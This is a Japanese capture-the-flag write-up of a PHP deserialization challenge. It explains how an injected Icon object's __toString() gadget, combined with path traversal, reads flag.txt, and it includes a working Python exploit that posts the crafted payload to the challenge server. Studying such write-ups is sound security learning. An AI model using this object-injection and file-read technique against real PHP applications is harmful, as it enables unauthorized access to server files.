serialized パラメータを base64 decode して unserialize() する PHP Web 問題
トップレベルで User 型かどうかだけを確認しており、内部プロパティの型や値は検証されない
<?php
...
class Icon {
public $path;
...
public function __toString(): string
{
$contents = file_get_contents(__DIR__ . $this->path);
if ($contents === false) {
return '';
}
return 'data:image/png;base64,' . base64_encode($contents);
}
}
function h($value): string
{
return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}
...
if (!empty($_POST['serialized'])) {
$decoded = base64_decode($_POST['serialized'], true);
if ($decoded !== false) {
$user = unserialize($decoded);
}
if ($user instanceof User) {
$serialized = $_POST['serialized'];
} else {
$user = null;
}
...
}
...
<h1><?= h($user->name) ?></h1>
問題は PHP Object Injection と __toString() gadget の組み合わせ
serialized はそのまま unserialize() される$user instanceof User だけなので、User オブジェクトの各プロパティには任意のオブジェクトを入れられるh() は (string)$value にキャストするため、$user->name がオブジェクトなら __toString() が呼ばれるIcon::__toString() は file_get_contents(__DIR__ . $this->path) を実行するIcon の path はコンストラクタで /public/A.png などに固定されるが、unserialize() で復元した場合はコンストラクタが走らないので任意の path を持たせられるそのため、User->name に Icon(path="/../../../flag.txt") を入れた User を送ると、画面描画時の h($user->name) で /flag.txt が読まれ、data:image/png;base64,... として h1 に表示される。そこに含まれる base64 を decode すればフラグが得られる
pythonではphpserialize でオブジェクトをそのまま組み立てることができる
import base64
import re
import urllib.parse
import urllib.request
from phpserialize import dumps, phpobject
URL = "<http://34.170.146.252:28309/>"
user = phpobject("User", {
"name": phpobject("Icon", {
"path": "/../../../flag.txt",
}),
"title": "x",
"summary": "x",
"skills": "x",
"iconType": "A",
})
payload = base64.b64encode(dumps(user)).decode()
req = urllib.request.Request(
URL,
data=urllib.parse.urlencode({"serialized": payload}).encode(),
method="POST",
)
html = urllib.request.urlopen(req).read().decode()
flag_b64 = re.search(r"<h1>data:image/png;base64,([^<]+)</h1>", html).group(1)
print(base64.b64decode(flag_b64).decode())